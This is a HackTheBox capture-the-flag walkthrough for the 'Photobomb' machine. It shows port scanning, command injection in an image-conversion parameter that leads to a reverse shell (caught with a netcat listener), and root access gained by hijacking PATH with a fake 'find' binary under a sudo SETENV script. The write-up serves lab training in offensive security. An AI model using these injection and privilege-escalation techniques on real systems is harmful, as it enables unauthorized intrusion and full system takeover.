Photobomb HackTheBox Walkthrough

Photobomb is an easy level linux machine from HackTheBox which includes exploiting an image downloading functionality to get a RCE and then exploiting a bash script which does not use absolute paths. Let's get started!

Photobomb HackTheBox Walkthrough

Network Scan

As usual, I started the initial enumeration by running a port scan using nmap looking for open ports and running services.

└─$ nmap -sC -sV -oN nmap/initial
Starting Nmap 7.93 ( ) at 2022-11-16 03:40 IST
Nmap scan report for
Host is up (0.30s latency).
Not shown: 998 closed tcp ports (conn-refused)
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e22473bbfbdf5cb520b66876748ab58d (RSA)
|   256 04e3ac6e184e1b7effac4fe39dd21bae (ECDSA)
|_  256 20e05d8cba71f08c3a1819f24011d29e (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://photobomb.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 46.42 seconds

We have two ports open, we have SSH running on port 22 and a HTTP web server running on port 80. We can see from the nmap results that the web server redirects to http://photobomb.htb So let's add it to our hosts file.

└─$ cat /etc/hosts       localhost       kali    photobomb.htb

We are good to go! Now let's start enumerating the port 80 first.

Web Enumeration and User Shell

On visiting the website in our web browser, we get a static website. It has a link which redirects us to the login page.

On checking the source code of this website we get a javascript file which contains some credentials.


After logging in, we are redirected to the /printer page. The printer page has some images and it lets us download those images in different formats and resolutions.

The print functionality works great, and we get the selected image according to the resolution and the file type requested. Let's explore and try exploiting this application. I captured the download request via BurpSuite and found something interesting.

After testing some custom inputs in parameters, I found out that the filetype parameter used here is vulnerable to command injection.

The application is converting the images in backend using the convert tool from ImageMagick and doing something like:

convert [photo] -resize [dimensions] name.[filetype]

We need to add ;<command> after the filetype parameter, so that our command also gets executed with the request.

We do not get any output but our command gets executed in the background. Similarly, we can follow the same steps to execute a reverse shell payload. I generated the payload from

We also need to URL encode the payload so that it can be executed successfully. After encoding, the payload will look similar to this:


The payload gets executed successfully and we get a reverse shell back to our system.

└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [] from (UNKNOWN) [] 39440
sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
bash-5.0$ id
uid=1000(wizard) gid=1000(wizard) groups=1000(wizard)

Now that we have a user shell, we can read the user flag present in the home directory of the wizard user.

bash-5.0$ cd /home/wizard
cd /home/wizard
bash-5.0$ cat user.txt
cat user.txt

Root Shell

Getting a root shell on this box was pretty straight forward. First of all, I used the sudo -l to check if we can execute any files as other users.

I found that we can execute /opt/ as user root without using any password. Also notice the SETENV flag set.

bash-5.0$ sudo -l
sudo -l
Matching Defaults entries for wizard on photobomb:
    env_reset, mail_badpass,

User wizard may run the following commands on photobomb:
    (root) SETENV: NOPASSWD: /opt/

First of all, let us check the /opt/ This script is made to clean the log files. We can see that the programs like (cd, find and chown) are used here without using their absolute paths.

This means that we can create our vulnerable version of these programs and force the script to execute our vulnerable version by modifying the PATH.

bash-5.0$ cat /opt/
cat /opt/
. /opt/.bashrc
cd /home/wizard/photobomb

# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
  /bin/cat log/photobomb.log > log/photobomb.log.old
  /usr/bin/truncate -s0 log/photobomb.log

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;

To exploit this, I created a new folder named exploit inside which I created a find program which will simply execute /bin/bash when called. Then I added the folder to the starting of the PATH.

bash-5.0$ mkdir exploit
mkdir exploit
bash-5.0$ cd exploit
cd exploit
bash-5.0$ echo "/bin/bash" > find
echo "/bin/bash" > find
bash-5.0$ chmod +x find
chmod +x find

Next, I executed the /opt/ script and we got the root shell. We also need to set PATH.

bash-5.0$ sudo PATH=$PWD:$PATH /opt/
sudo PATH=$PWD:$PATH /opt/
root@photobomb:/home/wizard/photobomb# id
uid=0(root) gid=0(root) groups=0(root)

Hurrayy! We are root. Now that we have a root shell, we can read our final flag present in the root directory!

root@photobomb:/home/wizard/photobomb# cd /root
cd /root
root@photobomb:~# ls
root@photobomb:~# cat root.txt
cat root.txt

That's it! Thank you for reading this article. Do let me know in the comments if you have any questions or feedback. Stay tuned for similar articles.

NOTE: The awesome artwork used in this article was created by Rick Hines.